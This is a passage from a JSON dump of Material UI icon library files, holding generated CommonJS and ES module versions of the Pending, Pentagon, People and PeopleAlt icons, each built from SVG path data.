    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L16.5 17.2V14h1v2.79l1.85 1.85zM20 3h-5.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H4v19h8.11c-.59-.57-1.07-1.25-1.42-2H6V5h2v3h8V5h2v5.08c.71.1 1.38.31 2 .6zm-8 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PendingActionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PendingActionsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L16.5 17.2V14h1v2.79l1.85 1.85zM20 3h-5.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H4v19h8.11c-.59-.57-1.07-1.25-1.42-2H6V5h2v3h8V5h2v5.08c.71.1 1.38.31 2 .6zm-8 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PendingActionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PendingActionsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.65 19.35 16.5 17.2V14h1v2.79l1.85 1.85zM17 10c.34 0 .67.03 1 .08V5h-2v3H8V5H6v15h4.68c-.43-.91-.68-1.92-.68-3 0-3.87 3.13-7 7-7m-5-5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L16.5 17.2V14h1v2.79l1.85 1.85zM18 3h-3.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H6c-1.1 0-2 .9-2 2v15c0 1.1.9 2 2 2h6.11c-.59-.57-1.07-1.25-1.42-2H6V5h2v3h8V5h2v5.08c.71.1 1.38.31 2 .6V5c0-1.1-.9-2-2-2m-6 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'PendingActionsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PendingActionsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.65 19.35 16.5 17.2V14h1v2.79l1.85 1.85zM17 10c.34 0 .67.03 1 .08V5h-2v3H8V5H6v15h4.68c-.43-.91-.68-1.92-.68-3 0-3.87 3.13-7 7-7m-5-5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L16.5 17.2V14h1v2.79l1.85 1.85zM18 3h-3.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H6c-1.1 0-2 .9-2 2v15c0 1.1.9 2 2 2h6.11c-.59-.57-1.07-1.25-1.42-2H6V5h2v3h8V5h2v5.08c.71.1 1.38.31 2 .6V5c0-1.1-.9-2-2-2m-6 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'PendingActionsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PendingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"3\")], 'PendingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PendingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"3\")], 'PendingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PendingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'PendingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PendingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'PendingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PendingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'PendingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PendingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'PendingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PendingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m-5 9.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"4\")], 'PendingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PendingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m-5 9.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"4\")], 'PendingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pentagon.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2 9 4 12h12l4-12-10-7z\"\n}), 'Pentagon');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pentagon.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2 9 4 12h12l4-12-10-7z\"\n}), 'Pentagon');"
  },
  {
    "path": "packages/mui-icons-material/lib/PentagonOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.63 9.78 16.56 19H7.44L4.37 9.78 12 4.44zM2 9l4 12h12l4-12-10-7z\"\n}), 'PentagonOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PentagonOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.63 9.78 16.56 19H7.44L4.37 9.78 12 4.44zM2 9l4 12h12l4-12-10-7z\"\n}), 'PentagonOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PentagonRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2.47 10.42 3.07 9.22c.28.81 1.04 1.36 1.9 1.36h9.12c.86 0 1.63-.55 1.9-1.37l3.07-9.22c.28-.84-.03-1.76-.75-2.27L13.15 2.8c-.69-.48-1.61-.48-2.29 0L3.22 8.14c-.72.51-1.03 1.44-.75 2.28\"\n}), 'PentagonRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PentagonRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2.47 10.42 3.07 9.22c.28.81 1.04 1.36 1.9 1.36h9.12c.86 0 1.63-.55 1.9-1.37l3.07-9.22c.28-.84-.03-1.76-.75-2.27L13.15 2.8c-.69-.48-1.61-.48-2.29 0L3.22 8.14c-.72.51-1.03 1.44-.75 2.28\"\n}), 'PentagonRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PentagonSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2 9 4 12h12l4-12-10-7z\"\n}), 'PentagonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PentagonSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2 9 4 12h12l4-12-10-7z\"\n}), 'PentagonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PentagonTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.63 9.78 16.56 19H7.44L4.37 9.78 12 4.44z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.63 9.78 16.56 19H7.44L4.37 9.78 12 4.44zM2 9l4 12h12l4-12-10-7z\"\n}, \"1\")], 'PentagonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PentagonTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.63 9.78 16.56 19H7.44L4.37 9.78 12 4.44z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.63 9.78 16.56 19H7.44L4.37 9.78 12 4.44zM2 9l4 12h12l4-12-10-7z\"\n}, \"1\")], 'PentagonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/People.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11c1.66 0 2.99-1.34 2.99-3S17.66 5 16 5s-3 1.34-3 3 1.34 3 3 3m-8 0c1.66 0 2.99-1.34 2.99-3S9.66 5 8 5 5 6.34 5 8s1.34 3 3 3m0 2c-2.33 0-7 1.17-7 3.5V19h14v-2.5c0-2.33-4.67-3.5-7-3.5m8 0c-.29 0-.62.02-.97.05 1.16.84 1.97 1.97 1.97 3.45V19h6v-2.5c0-2.33-4.67-3.5-7-3.5\"\n}), 'People');"
  },
  {
    "path": "packages/mui-icons-material/lib/People.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11c1.66 0 2.99-1.34 2.99-3S17.66 5 16 5s-3 1.34-3 3 1.34 3 3 3m-8 0c1.66 0 2.99-1.34 2.99-3S9.66 5 8 5 5 6.34 5 8s1.34 3 3 3m0 2c-2.33 0-7 1.17-7 3.5V19h14v-2.5c0-2.33-4.67-3.5-7-3.5m8 0c-.29 0-.62.02-.97.05 1.16.84 1.97 1.97 1.97 3.45V19h6v-2.5c0-2.33-4.67-3.5-7-3.5\"\n}), 'People');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M16.67 13.13C18.04 14.06 19 15.32 19 17v3h4v-3c0-2.18-3.57-3.47-6.33-3.87\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"4\",\n  fillRule: \"evenodd\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4c-.47 0-.91.1-1.33.24C14.5 5.27 15 6.58 15 8s-.5 2.73-1.33 3.76c.42.14.86.24 1.33.24m-6 1c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4\"\n}, \"2\")], 'PeopleAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M16.67 13.13C18.04 14.06 19 15.32 19 17v3h4v-3c0-2.18-3.57-3.47-6.33-3.87\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"4\",\n  fillRule: \"evenodd\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4c-.47 0-.91.1-1.33.24C14.5 5.27 15 6.58 15 8s-.5 2.73-1.33 3.76c.42.14.86.24 1.33.24m-6 1c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4\"\n}, \"2\")], 'PeopleAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.67 13.13C18.04 14.06 19 15.32 19 17v3h4v-3c0-2.18-3.57-3.47-6.33-3.87M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4c-.47 0-.91.1-1.33.24C14.5 5.27 15 6.58 15 8s-.5 2.73-1.33 3.76c.42.14.86.24 1.33.24m-6 0c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 7c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H3v-.99C3.2 16.29 6.3 15 9 15s5.8 1.29 6 2z\"\n}), 'PeopleAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.67 13.13C18.04 14.06 19 15.32 19 17v3h4v-3c0-2.18-3.57-3.47-6.33-3.87M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4c-.47 0-.91.1-1.33.24C14.5 5.27 15 6.58 15 8s-.5 2.73-1.33 3.76c.42.14.86.24 1.33.24m-6 0c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 7c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H3v-.99C3.2 16.29 6.3 15 9 15s5.8 1.29 6 2z\"\n}), 'PeopleAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M16.67 13.13C18.04 14.06 19 15.32 19 17v3h3c.55 0 1-.45 1-1v-2c0-2.18-3.57-3.47-6.33-3.87\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"4\",\n  fillRule: \"evenodd\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4c-.47 0-.91.1-1.33.24C14.5 5.27 15 6.58 15 8s-.5 2.73-1.33 3.76c.42.14.86.24 1.33.24m-6 1c-2.67 0-8 1.34-8 4v2c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-2c0-2.66-5.33-4-8-4\"\n}, \"2\")], 'PeopleAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M16.67 13.13C18.04 14.06 19 15.32 19 17v3h3c.55 0 1-.45 1-1v-2c0-2.18-3.57-3.47-6.33-3.87\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"4\",\n  fillRule: \"evenodd\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4c-.47 0-.91.1-1.33.24C14.5 5.27 15 6.58 15 8s-.5 2.73-1.33 3.76c.42.14.86.24 1.33.24m-6 1c-2.67 0-8 1.34-8 4v2c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-2c0-2.66-5.33-4-8-4\"\n}, \"2\")], 'PeopleAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleAltSharp.js",
